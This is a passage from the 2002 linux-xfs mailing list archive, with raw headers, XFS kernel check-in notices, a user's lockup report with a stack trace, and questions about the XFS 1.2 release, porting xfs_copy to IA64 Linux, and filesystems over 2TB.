gAD2WIKp019224 for ; Tue, 12 Nov 2002 18:32:18 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA84208 for ; Tue, 12 Nov 2002 21:28:53 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id VAA29701 for ; Tue, 12 Nov 2002 21:28:53 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAD3Sm025447; Tue, 12 Nov 2002 21:28:48 -0600 Message-Id: <200211130328.gAD3Sm025447@jen.americas.sgi.com> Date: Tue, 12 Nov 2002 21:28:48 -0600 Subject: TAKE - some small cleanups To: linux-xfs@oss.sgi.com X-archive-position: 1671 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Tue Nov 12 16:01:55 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132911a linux/fs/xfs/xfsidbg.c - 1.209 - add a field to the iclog output Date: Tue Nov 12 19:27:39 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132934a linux/fs/xfs/support/sv.h - 1.10 - set_current_state(TASK_RUNNING); linux/fs/xfs/support/mrlock.c - 1.11 - remove set_current_state(TASK_RUNNING); From owner-linux-xfs@oss.sgi.com Tue Nov 12 19:34:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 19:34:10 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD3Y8uR027246 for ; Tue, 12 Nov 2002 19:34:08 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAD2d4Kp019479 for ; Tue, 12 Nov 2002 18:39:04 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA73775; Tue, 12 Nov 2002 21:35:39 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-56.corp.sgi.com [134.15.64.56]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id VAA85306; Tue, 12 Nov 2002 21:35:31 -0600 (CST) Subject: Re: the cvs kernel oops !! From: Stephen Lord To: tom wang Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <20021113030224.57610.qmail@web15202.mail.bjs.yahoo.com> References: <20021113030224.57610.qmail@web15202.mail.bjs.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.8 Date: 12 Nov 2002 21:30:19 -0600 Message-Id: <1037158220.1260.19.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAD3Y8uR027248 X-archive-position: 1672 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 21:02, tom wang wrote: > > Just now, I tried that test on the cvs kernel again, it did not oops anymore, > but it is locked after a while, I studied all the process trace of the system, > it seems that only one process is locked, the trace is here. > __down() > __down_failed() > [xfs].text.lock.xfs_log > xlog_state_get_iclog_space() > xlog_write() > xfs_log_write() > xfs_trans_commit() > xfs_attr_rolltrans£¨£© > xfs_attr_mode_addname() > xfs_attr_set() > linvfs_setxattr() > setxattr() > sys_lsetxattr() > system_call() > (It seems that some process was wirting the log to disk. but no other process was writing to disk at this time) > I think it is easy reproduce in your box. (BTW if we compiled xfs with DEBUG option, the xfsidbg module can not been installed) > thanks. > tom > There are other issues with XFS in 2.4.20-rc1, which I am working through right now. Changes in the way the elevator works and the scsi code have caused some major issues with XFS. One of the places things seem to at least pause is here. Are you running scsi or ide here? Steve From owner-linux-xfs@oss.sgi.com Tue Nov 12 19:41:18 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 19:41:21 -0800 (PST) Received: from web15212.mail.bjs.yahoo.com ([61.135.128.142]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD3fHuR028754 for ; Tue, 12 Nov 2002 19:41:18 -0800 Message-ID: <20021113034248.89767.qmail@web15212.mail.bjs.yahoo.com> Received: from [210.72.245.11] by web15212.mail.bjs.yahoo.com via HTTP; Wed, 13 Nov 2002 11:42:48 CST Date: Wed, 13 Nov 2002 11:42:48 +0800 (CST) From: =?gb2312?q?tom=20wang?= Subject: Re: the cvs kernel oops !! To: Stephen Lord Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <1037158220.1260.19.camel@laptop.americas.sgi.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-length: 1374 X-archive-position: 1673 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wddi_1976@yahoo.com.cn Precedence: bulk X-list: linux-xfs I use scsi. Stephen Lord =B5=C4=D5=FD=CE=C4=A3=BA On Tue, 2002-11-12 a= t 21:02, tom wang wrote: >=20 > Just now, I tried that test on the cvs kernel again, it did not oops anym= ore, > but it is locked after a while, I studied all the process trace of the sy= stem,=20 > it seems that only one process is locked, the trace is here. > __down() > __down_failed() > [xfs].text.lock.xfs_log > xlog_state_get_iclog_space() > xlog_write() > xfs_log_write() > xfs_trans_commit() > xfs_attr_rolltrans=A3=A8=A3=A9 > xfs_attr_mode_addname() > xfs_attr_set() > linvfs_setxattr() > setxattr() > sys_lsetxattr() > system_call() > (It seems that some process was wirting the log to disk. but no other pro= cess was writing to disk at this time) > I think it is easy reproduce in your box. (BTW if we compiled xfs with DE= BUG option, the xfsidbg module can not been installed) > thanks. > tom >=20 There are other issues with XFS in 2.4.20-rc1, which I am working through right now. Changes in the way the elevator works and the scsi code have caused some major issues with XFS. One of the places things seem to at least pause is=20 here. Are you running scsi or ide here? Steve --------------------------------- Do You Yahoo!? "=CA=C7IT=BE=AB=D3=A2=C2=F0=A3=BF=D0=A1=CA=D4=C5=A3=B5=B6=BB=F1=CA=B1=C9=D0= =B4=F3=BD=B1=A3=A1" [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Nov 12 23:01:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 23:01:04 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD710uR005950 for ; Tue, 12 Nov 2002 23:01:00 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAD65uKp001278 for ; Tue, 12 Nov 2002 22:05:57 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id SAA21515 for linux-xfs@oss.sgi.com; Wed, 13 Nov 2002 18:01:14 +1100 (EST) Date: Wed, 13 Nov 2002 18:01:14 +1100 (EST) From: Nathan Scott Message-Id: <200211130701.SAA21515@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsprogs X-archive-position: 1674 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Minor update - include fewer kernel headers, abstract some Linux/IRIX diffs in xfs_growfs source to more easily keep track of changes there. cheers. Date: Tue Nov 12 22:59:25 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132940a cmd/xfsprogs/growfs/explore.h - 1.1 cmd/xfsprogs/growfs/explore.c - 1.1 cmd/xfsprogs/growfs/xfs_growfs.c - 1.15 - Abstract some Linux/IRIX diffs in growfs to more easily keep track of changes there. cmd/xfsprogs/growfs/Makefile - 1.9 - Add in explore source file targets. cmd/xfsprogs/include/xfs_fs.h - 1.22 cmd/xfsprogs/include/xfs_types.h - 1.15 cmd/xfsprogs/include/xqm.h - 1.11 - Doesn't include kernel headers anymore. cmd/xfsprogs/libxfs/xfs.h - 1.26 - Sync up with recent kernel changes so that fewer xfsprogs headers are including kernel headers. From owner-linux-xfs@oss.sgi.com Tue Nov 12 23:30:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 23:30:56 -0800 (PST) Received: from federazione.fmbcc.fm ([195.223.139.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD7UnuR006565 for ; Tue, 12 Nov 2002 23:30:51 -0800 Received: from Qmail-Mail-Server ([10.113.160.207]) by federazione.fmbcc.fm (Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) with SMTP id 41256C70.00297966; Wed, 13 Nov 2002 08:33:00 +0100 Received: (qmail 4202 invoked from network); 13 Nov 2002 07:28:33 -0000 Received: from unknown (HELO FI0P38) (10.113.160.38) by 0 with SMTP; 13 Nov 2002 07:28:33 -0000 Message-ID: <001601c28ae6$7758ba90$26a0710a@FI0P38> From: "Fabio Baiocco" To: Subject: stable release 1.2 Date: Wed, 13 Nov 2002 08:29:56 +0100 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 183 X-archive-position: 1675 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: baiocco.f@filottrano.bcc.it Precedence: bulk X-list: linux-xfs When version 1.2 of XFS will be stable? The kernel 2.4.18-17 of RedHat will be merged with version 1.1 of XFS in a contributed release? Thanks! [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Nov 12 23:40:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 23:40:50 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD7eluR007039 for ; Tue, 12 Nov 2002 23:40:48 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 8C9BDAC46; Wed, 13 Nov 2002 08:35:32 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 786771905B; Wed, 13 Nov 2002 08:35:15 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 6003230881E; Wed, 13 Nov 2002 08:42:06 +0100 (CET) Message-ID: <3DD2024E.6EAF3FD1@ch.sauter-bc.com> Date: Wed, 13 Nov 2002 08:42:06 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Fabio Baiocco Cc: linux-xfs@oss.sgi.com Subject: Re: stable release 1.2 References: <001601c28ae6$7758ba90$26a0710a@FI0P38> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1676 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Fabio Baiocco schrieb: > > When version 1.2 of XFS will be stable? > > The kernel 2.4.18-17 of RedHat will be merged with version 1.1 of XFS in a contributed release? There will most likely be an XFS 1.2 version of the RH kernel. 1.2pre3 is out on oss. I'm using 1.2pre2 and didn't have any problem. Simon > > Thanks! > > [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Wed Nov 13 00:04:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 00:04:04 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD840uR007648 for ; Wed, 13 Nov 2002 00:04:00 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAD89Ekq013308 for ; Wed, 13 Nov 2002 02:09:15 -0600 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id TAA23538 for linux-xfs@oss.sgi.com; Wed, 13 Nov 2002 19:04:12 +1100 (EST) Date: Wed, 13 Nov 2002 19:04:12 +1100 (EST) From: Nathan Scott Message-Id: <200211130804.TAA23538@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - pagebuf and sectors X-archive-position: 1677 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs pagebuf can now (theoretically) take a configurable sector size. This is effectively no visible change to users though - there is still no way to change the sector size in XFS. This'll also let me go and do a bit of work on the tools (several header macros I need now exist), and then this can be revisited later. cheers. Date: Tue Nov 12 23:49:10 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132942a linux/fs/xfs/xfs_sb.h - 1.54 - Add macros for doing sect to BB conversions, FSB to sect conversions, etc. linux/fs/xfs/xfs_vfsops.c - 1.399 - Set the device sector size based on the (existing) superblock field value (currently this is always 512), rather than hardcoding the value to 512. linux/fs/xfs/xfs_mount.h - 1.163 - Squeeze in an 8 byte sectbb field (no change to xfs_mount_t size), similar semantics to blkbb log field (except for sector size, not block size). linux/fs/xfs/xfs_mount.c - 1.312 - Read a sector from the end of the device when checking log/data device sizes, not a BB. Currently only 512 byte sectors exist, so no real change here. Move mount type initialisation earlier on in the piece. linux/fs/xfs/xfs_alloc_btree.h - 1.22 - Add some macros relating to sector sizes, update some comments. linux/fs/xfs/linux/xfs_super.h - 1.32 linux/fs/xfs/linux/xfs_super.c - 1.229 - When initialising a new pagebuf target, allow a sector size to be passed in. linux/fs/xfs/pagebuf/page_buf.c - 1.76 linux/fs/xfs/pagebuf/page_buf.h - 1.45 - Remove the hardcoded sector size of 512 bytes, make it variable. From owner-linux-xfs@oss.sgi.com Wed Nov 13 06:22:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 06:22:04 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADEM0uR025142 for ; Wed, 13 Nov 2002 06:22:01 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADCNbG8026767 for ; Wed, 13 Nov 2002 04:23:37 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA99378 for ; Wed, 13 Nov 2002 08:23:33 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA94951 for ; Wed, 13 Nov 2002 08:23:33 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gADENOU28428; Wed, 13 Nov 2002 08:23:24 -0600 Message-Id: <200211131423.gADENOU28428@jen.americas.sgi.com> Date: Wed, 13 Nov 2002 08:23:24 -0600 Subject: TAKE - allow xfsstats to loop To: linux-xfs@oss.sgi.com X-archive-position: 1678 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Contributed code from Michael Sinz add looping support to xfsstats. This has only been in my inbox since May. Date: Wed Nov 13 06:22:39 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132948a cmd/xfsmisc/xfs_stats.pl - 1.3 - add a -f option to loop and redisplay. From owner-linux-xfs@oss.sgi.com Wed Nov 13 09:20:18 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 09:20:23 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADHKIuR030910 for ; Wed, 13 Nov 2002 09:20:18 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADHPbkq026095 for ; Wed, 13 Nov 2002 11:25:37 -0600 Received: from panda.americas.sgi.com (panda.americas.sgi.com [137.38.224.5]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA90910 for ; Wed, 13 Nov 2002 11:21:51 -0600 (CST) Received: from sgi.com (spankme.americas.sgi.com [137.38.225.22]) by panda.americas.sgi.com (8.8.8/ASC-news-1.4) with ESMTP id LAA1212273 for ; Wed, 13 Nov 2002 11:21:51 -0600 (CST) Message-ID: <3DD28A2F.8010201@sgi.com> Date: Wed, 13 Nov 2002 11:21:51 -0600 From: James Rada User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfs_copy availability Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1679 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rada@sgi.com Precedence: bulk X-list: linux-xfs Hi, Is xfs_copy available in any release of XFS for Linux. preferably IA64?? Thanks, Jim Sgi Mfg Engineering Sgi Building 1 Chippewa falls, WI 715-726-2815 From owner-linux-xfs@oss.sgi.com Wed Nov 13 09:31:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 09:31:33 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADHVVuR000762 for ; Wed, 13 Nov 2002 09:31:31 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADFX8G8007809 for ; Wed, 13 Nov 2002 07:33:08 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA98555 for ; Wed, 13 Nov 2002 11:33:04 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-45.corp.sgi.com [134.15.64.45]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA69983; Wed, 13 Nov 2002 11:32:56 -0600 (CST) Subject: Re: xfs_copy availability From: Stephen Lord To: James Rada Cc: linux-xfs@oss.sgi.com In-Reply-To: <3DD28A2F.8010201@sgi.com> References: <3DD28A2F.8010201@sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 13 Nov 2002 11:27:44 -0600 Message-Id: <1037208466.1263.61.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1680 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-11-13 at 11:21, James Rada wrote: > Hi, > > Is xfs_copy available in any release of XFS for Linux. > preferably IA64?? Sorry, it has not been ported - it uses irix threading primitives which have not been implemented on linux. Steve From owner-linux-xfs@oss.sgi.com Wed Nov 13 09:33:29 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 09:33:31 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADHXTuR001051 for ; Wed, 13 Nov 2002 09:33:29 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADFZ6G8007952 for ; Wed, 13 Nov 2002 07:35:06 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA18473 for ; Wed, 13 Nov 2002 11:35:01 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA43567; Wed, 13 Nov 2002 11:34:59 -0600 (CST) Subject: Re: xfs_copy availability From: Eric Sandeen To: James Rada Cc: linux-xfs@oss.sgi.com In-Reply-To: <3DD28A2F.8010201@sgi.com> References: <3DD28A2F.8010201@sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Nov 2002 11:33:46 -0600 Message-Id: <1037208826.29060.44.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1681 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs xfs_copy.c is available via cvs (or ptools...) but it's currently not buildable, I think. So the code is GPL and available, but it needs work. -Eric On Wed, 2002-11-13 at 11:21, James Rada wrote: > Hi, > > Is xfs_copy available in any release of XFS for Linux. > preferably IA64?? > > Thanks, > Jim > > Sgi Mfg Engineering > Sgi Building 1 > Chippewa falls, WI > 715-726-2815 > > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Nov 13 09:55:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 09:56:04 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADHtwuR001850 for ; Wed, 13 Nov 2002 09:55:58 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADFvZG8009538 for ; Wed, 13 Nov 2002 07:57:35 -0800 Received: from panda.americas.sgi.com (panda.americas.sgi.com [137.38.224.5]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA20511; Wed, 13 Nov 2002 11:57:31 -0600 (CST) Received: from sgi.com (spankme.americas.sgi.com [137.38.225.22]) by panda.americas.sgi.com (8.8.8/ASC-news-1.4) with ESMTP id LAA1217062; Wed, 13 Nov 2002 11:57:31 -0600 (CST) Message-ID: <3DD2928B.2090507@sgi.com> Date: Wed, 13 Nov 2002 11:57:31 -0600 From: James Rada User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Lord , Eric Sandeen CC: linux-xfs@oss.sgi.com Subject: Re: xfs_copy availability References: <3DD28A2F.8010201@sgi.com> <1037208466.1263.61.camel@laptop.americas.sgi.com> Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 1196 X-archive-position: 1682 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rada@sgi.com Precedence: bulk X-list: linux-xfs Steve and Eric, Thanks for the quick responses. The reason I ask is, we are developing a "drive mini plant" here in mfg to build customer disks for the McKinley (Linux IA64) systems. We want to try and use as much of the same code/processes that we use in our current drive mini plants for building IRIX drives. One of the main tools used to transfer images to the IRIX disks is xfs_copy. It's great because it FAST! and we can copy multiple targets at the same time. Did I mention that it is FAST! ;) We have a disk build process in place for the McKinley disks, but it uses a dump/restore mechanism. It only allows us to build one disk at a time and it's is very, very slow. Steve, I understand the irix threading primitives limitation. Does that pretty much rule out *any* chance of xfs_copy running on a Linux platform?? Thanks again!, Jim Stephen Lord wrote: >On Wed, 2002-11-13 at 11:21, James Rada wrote: > > >>Hi, >> >>Is xfs_copy available in any release of XFS for Linux. >>preferably IA64?? >> >> > >Sorry, it has not been ported - it uses irix threading primitives >which have not been implemented on linux. > >Steve > > > > [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Wed Nov 13 10:06:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 10:06:23 -0800 (PST) Received: from w206.web2010.com (w206.web2010.com [216.157.52.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADI6KuR002411 for ; Wed, 13 Nov 2002 10:06:20 -0800 Received: from avalanche (catv-d5de8916.bp01catv.broadband.hu [213.222.137.22]) by w206.web2010.com (8.9.3/8.9.0) with ESMTP id NAA00633; Wed, 13 Nov 2002 13:07:31 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Gabor Forgacs To: Nathan Straz Subject: Re: FileSystem >2 Terabytes Date: Wed, 13 Nov 2002 18:08:52 +0100 User-Agent: KMail/1.4.1 References: <200211121648.21283.gabor@colorfront.com> <20021112165409.GC23958@sgi.com> In-Reply-To: <20021112165409.GC23958@sgi.com> Cc: linux-xfs@oss.sgi.com MIME-Version: 1.0 Message-Id: <200211131808.52822.gabor@colorfront.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gADI6KuR002412 X-archive-position: 1683 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gabor@colorfront.com Precedence: bulk X-list: linux-xfs Hi Thank you for your answer, i just tried to catch patches against 2.4 kernel but wasn't able to find anywhere. Is it the lbd patch? Could You help me out in some way? Thank You On Tuesday 12 November 2002 05:54 pm, you wrote: > On Tue, Nov 12, 2002 at 04:48:21PM +0100, Gabor Forgacs wrote: > > Is it possible to use any filesystem under linux which is bigger than > > 2Tbytes. Is there any solution ? > > There is no problem creating a filesystem larger than 2TB. The problem > in Linux is addressing a block device of that size. Peter Chubb is > working on large block devices for Linux. It should be easy to find > patches for 2.4.x and 2.5.x in the linux-kernel archives. From owner-linux-xfs@oss.sgi.com Wed Nov 13 12:17:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 12:18:02 -0800 (PST) Received: from imf11bis.bellsouth.net (mail211.mail.bellsouth.net [205.152.58.151]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADKHwuR006499 for ; Wed, 13 Nov 2002 12:17:59 -0800 Received: from TAZ2 ([67.35.80.252]) by imf11bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021113202120.TWAZ4711.imf11bis.bellsouth.net@TAZ2>; Wed, 13 Nov 2002 15:21:20 -0500 Date: Wed, 13 Nov 2002 15:21:32 -0500 From: Greg Freemyer Subject: re[2]: xfs_copy availability To: James Rada cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021113202120.TWAZ4711.imf11bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gADKHxuR006500 X-archive-position: 1684 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs James, I just came across 